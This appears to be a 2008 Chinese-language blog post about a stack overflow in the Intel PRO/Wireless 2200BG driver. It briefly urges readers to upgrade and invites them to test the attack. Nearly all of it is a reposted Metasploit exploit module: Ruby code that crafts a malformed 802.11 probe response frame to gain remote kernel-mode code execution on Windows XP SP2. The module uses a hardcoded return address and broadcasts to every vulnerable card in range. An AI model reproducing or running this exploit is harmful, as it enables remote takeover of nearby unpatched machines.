• Intel无线网卡漏洞

    post by Holmesian / 2008-9-20 18:12 Saturday
    Intel - PRO/Wireless 2200BG Network Connection,虽然这个漏洞公布有些时日了,但现在还有很多本子内置的都是这个型号的无线网卡,赶紧升级吧..比如去年我就把内置的拆了,改用外置无线网卡,嘿嘿。

    另外,这个攻击代码已被添加到Metasploit里,有兴趣的朋友可以回去测试一下,下面是发布在milw0rm的参考源代码

    http://www.milw0rm.com/exploits/5461
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/projects/Framework/
    ##
    require 'msf/core'
    module Msf
    class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote

    include Exploit::Lorcon
    include Exploit::KernelMode

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Intel Centrino 2200BG Wireless Driver Probe Overflow',
    'Description' => %q{
    This module exploits a stack overflow in the w22n51.sys driver provided
    with the Intel 2200BG integrated wireless adapter. This stack overflow
    allows remote code execution in kernel mode. The stack overflow is triggered
    when a 802.11 Probe response frame is received that contains multi vendor specific tag
    and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000
    of the driver and an Intel Centrino 2200BG integrated wireless adapter. Newer
    versions of the w22n51.sys driver are provided from Intel to resolve this flaw.
    Since this vulnerability is exploited via probe response frames, all cards within
    range of the attack will be affected.

    Vulnerable clients don't need to have their card in a particular state for this exploit
    to work.

    This module depends on the Lorcon library and only works on the Linux platform
    with a supported wireless card. Please see the Ruby Lorcon documentation
    (external/ruby-lorcon/README) for more information.
    },

    'Author' =>
    [
    'oveRet \'Giuseppe Gottardi\' 'skape' # windows kernel ninjitsu
    ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 4529 $',
    'References' =>
    [
    ['URL', 'http://www.kb.cert.org/vuls/id/524332'],
    ['URL', 'http://www.milw0rm.org/exploits/3158'],
    ['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip']
    ],
    'Privileged' => true,

    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread',
    },

    'Payload' =>
    {
    'Space' => 224
    },
    'Platform' => 'win',
    'Targets' =>
    [
    # Windows XP SP2
    # 5.1.2600 (xpsp_sp2_gdr.070227-2254)
    [ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000',
    {
    'Ret' => 0x8054eb62,
    'Platform' => 'win',
    'Payload' =>
    {
    'ExtendedOptions' =>
    {
    'Stager' => 'sud_syscall_hook', # don't change this
    'PrependUser' => "\xeb\x02" + # required jump
    "\x85\xe0", # fixed max len
    'Recovery' => 'idlethread_restart',
    'KiIdleLoopAddress' => 0x804dbb27,
    }
    }
    }
    ]
    ],

    'DefaultTarget' => 0
    ))

    register_options(
    [
    OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
    OptInt.new('RUNTIME', [ true, "The number of time to run the attack", 1000]),
    OptInt.new('DELAY', [ true, "The number of seconds to sleep between the packets", 1]),
    ], self.class)
    end

    def exploit
    open_wifi

    rtime = datastore['RUNTIME'].to_i
    dtime = datastore['DELAY'].to_i
    count = 0

    print_status("Sending probe exploit to #{datastore['ADDR_DST']}...")
    print "[-] "

    while (count < rtime)
    wifi.write(create_beacon)
    select(nil, nil, nil, 0.10) if (count % 100 == 0)
    count += 1
    #Exit if we get a session
    break if session_created?

    print "#"
    sleep(dtime)
    end

    print "\n"
    print_status("Completed sending probe.")
    end
    def create_beacon
    bssid = ("\x43" * 6)
    src = ("\x43" * 6)
    seq = [rand(255)].pack('n')

    fill = 0xe0 - (payload.encoded.length - 125)

    frame =
    "\x50" + # type/subtype
    "\x00" + # flags
    "\x3a\x01" + # duration
    eton(datastore['ADDR_DST']) + # dst
    src + # src
    bssid + # bssid
    seq + # seq
    rand_text(8) + # timestamp value
    "\xa0\x0f" + # beacon interval
    "\x31\x08" + # capability flags

    # ssid tag
    "\x00\x00" +

    # supported rates
    "\x01" + "\x01" + "\x82" +

    # current channel
    "\x03" + "\x01" + channel.chr +

    # fixed max len
    "\x85\x7b" +

    payload.encoded +

    # fill to reach e0 length
    ("\x41" * fill) +

    # vendor specific tag
    "\xdd" +
    "\x18" +
    "\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" +
    "\x42\x54\xbc\x00\x62\x43\x66\x00" +

    # vendor specific tag
    "\xdd" +
    "\x10" +
    "\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" +

    # RET address
    [target['Ret']].pack('V')

    return frame
    end
    end
    end

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